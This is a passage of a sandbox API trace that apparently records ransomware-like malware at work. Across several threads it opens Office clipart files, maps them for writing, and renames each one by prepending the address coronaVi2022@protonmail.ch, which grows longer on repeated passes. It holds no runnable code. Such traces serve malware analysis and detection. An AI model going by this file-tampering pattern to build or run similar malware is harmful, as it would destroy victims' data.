	[0093.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0093.836] free (_Block=0x51f3088) 
	[0093.836] RtlExitUserThread (Status=0x0) 

Thread:
	id = 510
	os_tid = 0x1860

	[0093.839] _alloca_probe () returned 0x40328a
	[0093.840] GetCurrentThreadId () returned 0x1860
	[0093.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0093.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac
	[0093.840] GetFileSizeEx (in: hFile=0xaac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0093.840] CreateFileMappingA (hFile=0xaac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0xab0
	[0093.840] MapViewOfFile (hFileMappingObject=0xab0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.842] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.842] CloseHandle (hObject=0xab0) returned 1
	[0093.842] GetCurrentThreadId () returned 0x1860
	[0093.842] FlushFileBuffers (hFile=0xaac) returned 1
	[0093.847] CloseHandle (hObject=0xaac) returned 1
	[0093.847] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 213
	[0093.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0093.848] free (_Block=0x51f1078) 
	[0093.848] RtlExitUserThread (Status=0x0) 

Thread:
	id = 511
	os_tid = 0x1864

	[0093.854] _alloca_probe () returned 0x40328a
	[0093.854] GetCurrentThreadId () returned 0x1864
	[0093.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0093.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab0
	[0093.855] GetFileSizeEx (in: hFile=0xab0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7713) returned 1
	[0093.855] CreateFileMappingA (hFile=0xab0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e21, lpName=0x0) returned 0xab4
	[0093.855] MapViewOfFile (hFileMappingObject=0xab4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.857] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.857] CloseHandle (hObject=0xab4) returned 1
	[0093.857] GetCurrentThreadId () returned 0x1864
	[0093.857] FlushFileBuffers (hFile=0xab0) returned 1
	[0093.859] CloseHandle (hObject=0xab0) returned 1
	[0093.859] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 213
	[0093.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0093.860] free (_Block=0x51f5098) 
	[0093.860] RtlExitUserThread (Status=0x0) 

Thread:
	id = 512
	os_tid = 0x186c

	[0093.862] _alloca_probe () returned 0x40328a
	[0093.862] GetCurrentThreadId () returned 0x186c
	[0093.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0093.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab4
	[0093.863] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11905) returned 1
	[0093.863] CreateFileMappingA (hFile=0xab4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e81, lpName=0x0) returned 0xab8
	[0093.863] MapViewOfFile (hFileMappingObject=0xab8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.866] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.866] CloseHandle (hObject=0xab8) returned 1
	[0093.866] GetCurrentThreadId () returned 0x186c
	[0093.866] FlushFileBuffers (hFile=0xab4) returned 1
	[0093.868] CloseHandle (hObject=0xab4) returned 1
	[0093.868] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 213
	[0093.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0093.869] free (_Block=0x51f3088) 
	[0093.869] RtlExitUserThread (Status=0x0) 

Thread:
	id = 513
	os_tid = 0x1870

	[0093.870] _alloca_probe () returned 0x40328a
	[0093.871] GetCurrentThreadId () returned 0x1870
	[0093.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0093.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8
	[0093.871] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0093.871] CreateFileMappingA (hFile=0xab8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xabc
	[0093.871] MapViewOfFile (hFileMappingObject=0xabc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.872] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.872] CloseHandle (hObject=0xabc) returned 1
	[0093.872] GetCurrentThreadId () returned 0x1870
	[0093.872] FlushFileBuffers (hFile=0xab8) returned 1
	[0093.874] CloseHandle (hObject=0xab8) returned 1
	[0093.874] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 213
	[0093.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0093.875] free (_Block=0x51f60a0) 
	[0093.875] RtlExitUserThread (Status=0x0) 

Thread:
	id = 514
	os_tid = 0x1874

	[0093.877] _alloca_probe () returned 0x40328a
	[0093.877] GetCurrentThreadId () returned 0x1874
	[0093.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0093.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0093.878] GetFileSizeEx (in: hFile=0xabc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0093.878] CreateFileMappingA (hFile=0xabc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xac0
	[0093.878] MapViewOfFile (hFileMappingObject=0xac0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.878] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.879] CloseHandle (hObject=0xac0) returned 1
	[0093.879] GetCurrentThreadId () returned 0x1874
	[0093.879] FlushFileBuffers (hFile=0xabc) returned 1
	[0093.880] CloseHandle (hObject=0xabc) returned 1
	[0093.884] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 213
	[0093.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0093.885] free (_Block=0x51f0070) 
	[0093.885] RtlExitUserThread (Status=0x0) 

Thread:
	id = 515
	os_tid = 0x1878

	[0093.886] _alloca_probe () returned 0x40328a
	[0093.887] GetCurrentThreadId () returned 0x1878
	[0093.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0093.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0
	[0093.887] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12737) returned 1
	[0093.887] CreateFileMappingA (hFile=0xac0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31c1, lpName=0x0) returned 0xac4
	[0093.887] MapViewOfFile (hFileMappingObject=0xac4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.890] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.890] CloseHandle (hObject=0xac4) returned 1
	[0093.890] GetCurrentThreadId () returned 0x1878
	[0093.890] FlushFileBuffers (hFile=0xac0) returned 1
	[0093.893] CloseHandle (hObject=0xac0) returned 1
	[0093.893] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 213
	[0093.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0093.894] free (_Block=0x51f1078) 
	[0093.894] RtlExitUserThread (Status=0x0) 

Thread:
	id = 516
	os_tid = 0x187c

	[0093.898] _alloca_probe () returned 0x40328a
	[0093.899] GetCurrentThreadId () returned 0x187c
	[0093.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0093.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4
	[0093.899] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3521) returned 1
	[0093.899] CreateFileMappingA (hFile=0xac4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc1, lpName=0x0) returned 0xac8
	[0093.899] MapViewOfFile (hFileMappingObject=0xac8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.900] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.901] CloseHandle (hObject=0xac8) returned 1
	[0093.901] GetCurrentThreadId () returned 0x187c
	[0093.901] FlushFileBuffers (hFile=0xac4) returned 1
	[0093.902] CloseHandle (hObject=0xac4) returned 1
	[0093.903] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 213
	[0093.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0093.904] free (_Block=0x51f60a0) 
	[0093.904] RtlExitUserThread (Status=0x0) 

Thread:
	id = 517
	os_tid = 0x1880

	[0093.905] _alloca_probe () returned 0x40328a
	[0093.906] GetCurrentThreadId () returned 0x1880
	[0093.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0093.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac8
	[0093.906] GetFileSizeEx (in: hFile=0xac8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3169) returned 1
	[0093.906] CreateFileMappingA (hFile=0xac8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc61, lpName=0x0) returned 0xacc
	[0093.906] MapViewOfFile (hFileMappingObject=0xacc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.907] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.907] CloseHandle (hObject=0xacc) returned 1
	[0093.907] GetCurrentThreadId () returned 0x1880
	[0093.908] FlushFileBuffers (hFile=0xac8) returned 1
	[0093.909] CloseHandle (hObject=0xac8) returned 1
	[0093.910] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 213
	[0093.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0093.910] free (_Block=0x51f0070) 
	[0093.910] RtlExitUserThread (Status=0x0) 

Thread:
	id = 518
	os_tid = 0x1884

	[0093.912] _alloca_probe () returned 0x40328a
	[0093.913] GetCurrentThreadId () returned 0x1884
	[0093.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0093.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0093.913] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12497) returned 1
	[0093.913] CreateFileMappingA (hFile=0xacc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d1, lpName=0x0) returned 0xad0
	[0093.913] MapViewOfFile (hFileMappingObject=0xad0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
